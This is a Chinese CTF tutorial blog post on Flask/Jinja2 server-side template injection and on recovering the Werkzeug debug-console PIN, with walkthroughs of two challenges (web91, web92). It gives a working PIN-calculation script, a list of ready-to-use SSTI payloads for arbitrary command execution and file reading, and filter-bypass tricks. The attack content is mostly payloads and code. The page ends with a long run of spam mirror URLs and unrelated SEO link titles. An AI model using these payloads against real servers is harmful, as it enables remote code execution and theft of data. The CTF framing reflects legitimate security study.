当前位置: 首页 > news >正文

集团网站设计公司百度推广账户优化方案

集团网站设计公司,百度推广账户优化方案,wordpress 换空间,wordpress排行榜前面小图标目录 计算PIN码 例题1 SSTI的引用链 例题2 SSTI利用条件: 渲染字符串可控,也就说模板的内容可控 我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码 利用render_template_string函数参数可控,或者部分可控 render_…

目录

计算PIN码

例题1

SSTI的引用链

例题2


SSTI利用条件:

渲染字符串可控,也就说模板的内容可控

我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码

利用render_template_string函数参数可控,或者部分可控

render_template     相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法

render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证ssti是否存在

1 {{ 2*2 }}

2 {{ config }}

计算PIN码


如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码

计算PIN码

modname: flask.app
username: Administrator

public_bits 内容

['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']

我们需要知道当前登陆的用户名

private_bits 内容

['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']

getNode     uuid.getnode
machine_id  读注册表内容


总结
要计算PIN码,需要private_bits 和public_bits 

分别需要确定的是:

1 python运行的脚本名
2 固定值  flask.app
3 固定值  Flask
4 当前脚本运行的绝对路径  可以从报错获取
5 uuid.getnode
6 machine_id


['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']


['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']

linux下
getNode读取的文件  /sys/class/net/eth0/address

02:42:0a:00:01:74

对其进行整理
>>> s='02:42:0a:00:01:74'
>>> s=s.replace(":","")
>>> print(int(s[1:],16))
2482658869620

boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2
3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 

整理后 拼接

最终machine_id  

05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

例题1

web91

访问/console发现开启了debug模式

读/etc/passwd看用户名

 

随便传值,使其报错

得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

/sys/class/net/eth0/address读getNode得到uuid

02420a000168 十六进制转十进制即可

2,482,658,869,608

尝试读 /etc/machine-id失败

 读/proc/sys/kernel/random/boot_id

读 /proc/self/cgroup

整理后 拼接得到最终machine_id

44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

贴出算PIN码的脚本

import hashlib
from itertools import chaindef getPIN(public_bits,private_bits):rv = Nonenum = Noneh = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits=['root','flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py'
]private_bits=['2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163']PIN = getPIN(public_bits,private_bits)print(PIN)

成功拿下console ,为所欲为即可

SSTI的引用链


"".__class__.__base__  拿到Object对象

.__subclasses__()[144]. 拿到os类

__init__.__globals__['popen']('calc') 调用os类的popen方法,执行calc参数

"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

突破过滤  

1 过滤字符.

"".__class__   转化为  ""['__class__'']

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}


2 过滤下划线_

第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %}

第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}

3 绕过[]过滤

__getitem__   可以把中括号换成小括号使用

name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}

4 过滤了{{

使用{% 绕过

5 过滤了单引号或者双引号

name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}


6 过滤了数字

构造出1  {{(dict(e=a)|join|count)}}


7 关键字绕过

class  base  

{{dict(__cl=a,ass__=a)|join}}

8 还可以使用全角的数字绕过

0123456789


SSTI武器库


1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

例题2

web92

 访问/login路由

随便传一个post

报错提示让post传一个name 

存在ssti

先找os

演示一种比较实用的找os索引值的方法

post:

name={{"".__class__.__base__.__subclasses__()}}

先复制

粘贴到记事本中,ctrl+f找到os

删去该os及其后所有类

复制,粘贴到vscode中

ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

payload:

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /F*').read()}} 

或者

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('tac /F*')['read']()}}


文章转载自:
http://www.morning.qlsyf.cn.gov.cn.qlsyf.cn
http://www.morning.rwrn.cn.gov.cn.rwrn.cn
http://www.morning.qwyms.cn.gov.cn.qwyms.cn
http://www.morning.rbmnq.cn.gov.cn.rbmnq.cn
http://www.morning.tmrjb.cn.gov.cn.tmrjb.cn
http://www.morning.nfsrs.cn.gov.cn.nfsrs.cn
http://www.morning.liyixun.com.gov.cn.liyixun.com
http://www.morning.mqdr.cn.gov.cn.mqdr.cn
http://www.morning.jzccn.cn.gov.cn.jzccn.cn
http://www.morning.kxymr.cn.gov.cn.kxymr.cn
http://www.morning.txltb.cn.gov.cn.txltb.cn
http://www.morning.mnjyf.cn.gov.cn.mnjyf.cn
http://www.morning.fndfn.cn.gov.cn.fndfn.cn
http://www.morning.cmhkt.cn.gov.cn.cmhkt.cn
http://www.morning.pwxkn.cn.gov.cn.pwxkn.cn
http://www.morning.shyqcgw.cn.gov.cn.shyqcgw.cn
http://www.morning.bwqr.cn.gov.cn.bwqr.cn
http://www.morning.qrwjb.cn.gov.cn.qrwjb.cn
http://www.morning.ydwsg.cn.gov.cn.ydwsg.cn
http://www.morning.chgmm.cn.gov.cn.chgmm.cn
http://www.morning.llqch.cn.gov.cn.llqch.cn
http://www.morning.bssjz.cn.gov.cn.bssjz.cn
http://www.morning.swkpq.cn.gov.cn.swkpq.cn
http://www.morning.fqmcc.cn.gov.cn.fqmcc.cn
http://www.morning.yrms.cn.gov.cn.yrms.cn
http://www.morning.liyixun.com.gov.cn.liyixun.com
http://www.morning.dbcw.cn.gov.cn.dbcw.cn
http://www.morning.mkpkz.cn.gov.cn.mkpkz.cn
http://www.morning.lqpzb.cn.gov.cn.lqpzb.cn
http://www.morning.brlcj.cn.gov.cn.brlcj.cn
http://www.morning.dnydy.cn.gov.cn.dnydy.cn
http://www.morning.bnylg.cn.gov.cn.bnylg.cn
http://www.morning.bgqqr.cn.gov.cn.bgqqr.cn
http://www.morning.ysrtj.cn.gov.cn.ysrtj.cn
http://www.morning.cqyhdy.cn.gov.cn.cqyhdy.cn
http://www.morning.ztmkg.cn.gov.cn.ztmkg.cn
http://www.morning.elsemon.com.gov.cn.elsemon.com
http://www.morning.ctfwl.cn.gov.cn.ctfwl.cn
http://www.morning.qbkw.cn.gov.cn.qbkw.cn
http://www.morning.gqfjb.cn.gov.cn.gqfjb.cn
http://www.morning.mhnrx.cn.gov.cn.mhnrx.cn
http://www.morning.fglyb.cn.gov.cn.fglyb.cn
http://www.morning.dhqg.cn.gov.cn.dhqg.cn
http://www.morning.gbcnz.cn.gov.cn.gbcnz.cn
http://www.morning.dkfb.cn.gov.cn.dkfb.cn
http://www.morning.rdmz.cn.gov.cn.rdmz.cn
http://www.morning.qbfkz.cn.gov.cn.qbfkz.cn
http://www.morning.litao7.cn.gov.cn.litao7.cn
http://www.morning.dtrzw.cn.gov.cn.dtrzw.cn
http://www.morning.gbcxb.cn.gov.cn.gbcxb.cn
http://www.morning.mjqms.cn.gov.cn.mjqms.cn
http://www.morning.xnbd.cn.gov.cn.xnbd.cn
http://www.morning.jfqqs.cn.gov.cn.jfqqs.cn
http://www.morning.gyzfp.cn.gov.cn.gyzfp.cn
http://www.morning.benqc.com.gov.cn.benqc.com
http://www.morning.jtmrx.cn.gov.cn.jtmrx.cn
http://www.morning.leeong.com.gov.cn.leeong.com
http://www.morning.zbhfs.cn.gov.cn.zbhfs.cn
http://www.morning.cjmmt.cn.gov.cn.cjmmt.cn
http://www.morning.hjjfp.cn.gov.cn.hjjfp.cn
http://www.morning.tkxr.cn.gov.cn.tkxr.cn
http://www.morning.ngcsh.cn.gov.cn.ngcsh.cn
http://www.morning.kqzrt.cn.gov.cn.kqzrt.cn
http://www.morning.cbynh.cn.gov.cn.cbynh.cn
http://www.morning.cgtrz.cn.gov.cn.cgtrz.cn
http://www.morning.ytmx.cn.gov.cn.ytmx.cn
http://www.morning.xkzmz.cn.gov.cn.xkzmz.cn
http://www.morning.lfxcj.cn.gov.cn.lfxcj.cn
http://www.morning.mnnxt.cn.gov.cn.mnnxt.cn
http://www.morning.rhkmn.cn.gov.cn.rhkmn.cn
http://www.morning.kryr.cn.gov.cn.kryr.cn
http://www.morning.xfjwm.cn.gov.cn.xfjwm.cn
http://www.morning.wqtzs.cn.gov.cn.wqtzs.cn
http://www.morning.lhztj.cn.gov.cn.lhztj.cn
http://www.morning.rmfh.cn.gov.cn.rmfh.cn
http://www.morning.zcwzl.cn.gov.cn.zcwzl.cn
http://www.morning.mwkwg.cn.gov.cn.mwkwg.cn
http://www.morning.lsbjj.cn.gov.cn.lsbjj.cn
http://www.morning.rknsp.cn.gov.cn.rknsp.cn
http://www.morning.nydgg.cn.gov.cn.nydgg.cn
http://www.tj-hxxt.cn/news/13991.html

相关文章:

  • 学习网站开发多少钱杭州seo网站哪家好
  • java网站开发源码怎么做网站主页
  • wordpress快讯模块廊坊seo推广公司
  • .php是什么网站seo要点
  • 南阳公司网站建设营销网站建设大概费用
  • 成都做营销型网站推广安年软文网
  • 东城区住房和城市建设委员会网站免费软文发布平台有哪些
  • 人才网站建设2023b站免费推广入口游戏
  • 做网站建设的平台淘宝推广工具
  • 维度 网站建设logo设计
  • 大连手机自适应网站建设维护公司注册流程
  • 2019做哪个网站赚钱网上推广平台
  • 网络营销推广步骤seo排名优化培训怎样
  • 国外做网站侵权学seo网络推广
  • 网站外链接自己可以怎么做百度seo怎么操作
  • 做网站主要学什么条件媒体软文推广平台
  • wordpress判断是否开启用户注册上海搜索排名优化公司
  • 深圳人才网官方网站正规百度推广
  • 黄石市下陆区建设管理局网站百度关键词推广
  • 淄博网站制作定制百度seo培训班
  • 沧州北京网站建设seo是什么?
  • 网站建设的原则有哪些方面广州网站运营
  • 营销型网站制作方案重庆网站设计
  • 网站登录验证码显示不出来百度收录关键词查询
  • 济宁贵网站建设河北电子商务seo
  • 手机网站建设ppt免费网站制作
  • 大岭山营销型网站建设阿里关键词排名查询
  • 公司网站页面加密营销推广投放平台
  • 太原网站建设与维护网络推广优化seo
  • wordpress 菜单 外链河南纯手工seo